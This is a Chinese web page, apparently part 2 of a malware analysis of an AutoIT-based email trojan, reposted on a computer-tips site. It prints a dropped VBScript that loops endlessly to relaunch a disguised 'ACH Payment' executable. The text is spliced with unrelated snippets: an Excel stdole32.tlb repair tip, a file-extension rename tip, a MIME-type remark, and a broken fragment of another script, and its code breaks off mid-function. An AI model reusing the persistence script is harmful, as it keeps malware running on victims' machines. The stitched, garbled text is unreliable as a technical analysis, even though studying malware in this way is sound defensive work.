鼠标与键盘 一个基于AutoIT制作生成的欺骗性邮件木马样本分析(2)

大小MD5SHA1

运行后，系统弹出窗口请求选择应用程序开启文档YZGZIG.lsx。如下图所示，晕，竟然没有默认的打开方式，而且.lsx扩展名是什么鬼?

由于测试系统中已安装了WPS，选择用WPS打开。打开后如下图所示，是一个空的表格文件。

今天小编准备对一些数据进行统计的时候,发现电脑打开excel文档的时候出现问题了,提示出stdole32.tlb,没出现过这样情况,只能在网上找一些资料终于找到了解决方法,今天来分享给大家打开excel出现stdole32.tlb的解决方法,希望对大家有所帮助. 步骤一.点击电脑左下角的开始,然后选择运行选项,在弹出的窗口中,我们输入msconfig命令,然后回车,打开系统配置实用程序,如图所示: 步骤二.然后在弹出的系统配置实用程序界面中,我们点击上面的工具按钮,然后在里面找到"uac设置&q。

打开excel文档的时候提示”stdole32.tlb丢失或损坏，请运行安装程序“导致excel无法正常使用，那么你知道使用excel提示stdole32.tlb丢失怎么办吗。

3、将文档的后缀“xlsx”修改为“xls”即可。

由于mime类型与文档的后缀相关，因此服务器使用文档的后缀来区分不同文件的mime类型，服务器中必须定义文档后缀和mime类型之间的对应关系。

通过WPS我们可以看到，实际打开的空文档放置在%temp%目录下。同时，恶意代码运行后，会启动一个名为wscript.exe的进程。而wscript.exe是windows系统自带的文件，用于运行脚本文件，我们看看脚本文件存放哪里？

发现在%temp%目录下有一个名为RBOUCN.vbs的脚本文件。其内容如下：

文件名RBOUCN.vbs

On error resume next

Dim strComputer,strProcess,fileset

strProcess = “ACH Payment?xslx..exe”

fileset = “”"C:\ACH Payment?xslx..exe”"”

strComputer = “.”

Dim objShell

Set objShell = CreateObject(“WScript.Shell”)

Dim fso

Set fso = CreateObject(“Scripting.FileSystemObject”)

while 1

IF isProcessRunning(strComputer,strProcess) THEN

ELSE

objShell.Run fileset

END IF

Wend

FUNCTION isProcessRunning(BYVAL strComputer,BYVAL strProcessName)

DIM objWMIService, strWMIQuery

strWMIQuery = “Select * from Win32_Process where name like ‘” & strProcessName & “‘”

dim bag,pipe,honker,good do good="." set bag=getobject("winmgmts:\\"&good&"\root\cimv2") set pipe=bag.execquery("select * from win32_process where name='qq.exe。

setbag=getobject("winmgmts:\\"&good&"\root\cimv2")。

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-90405-2.html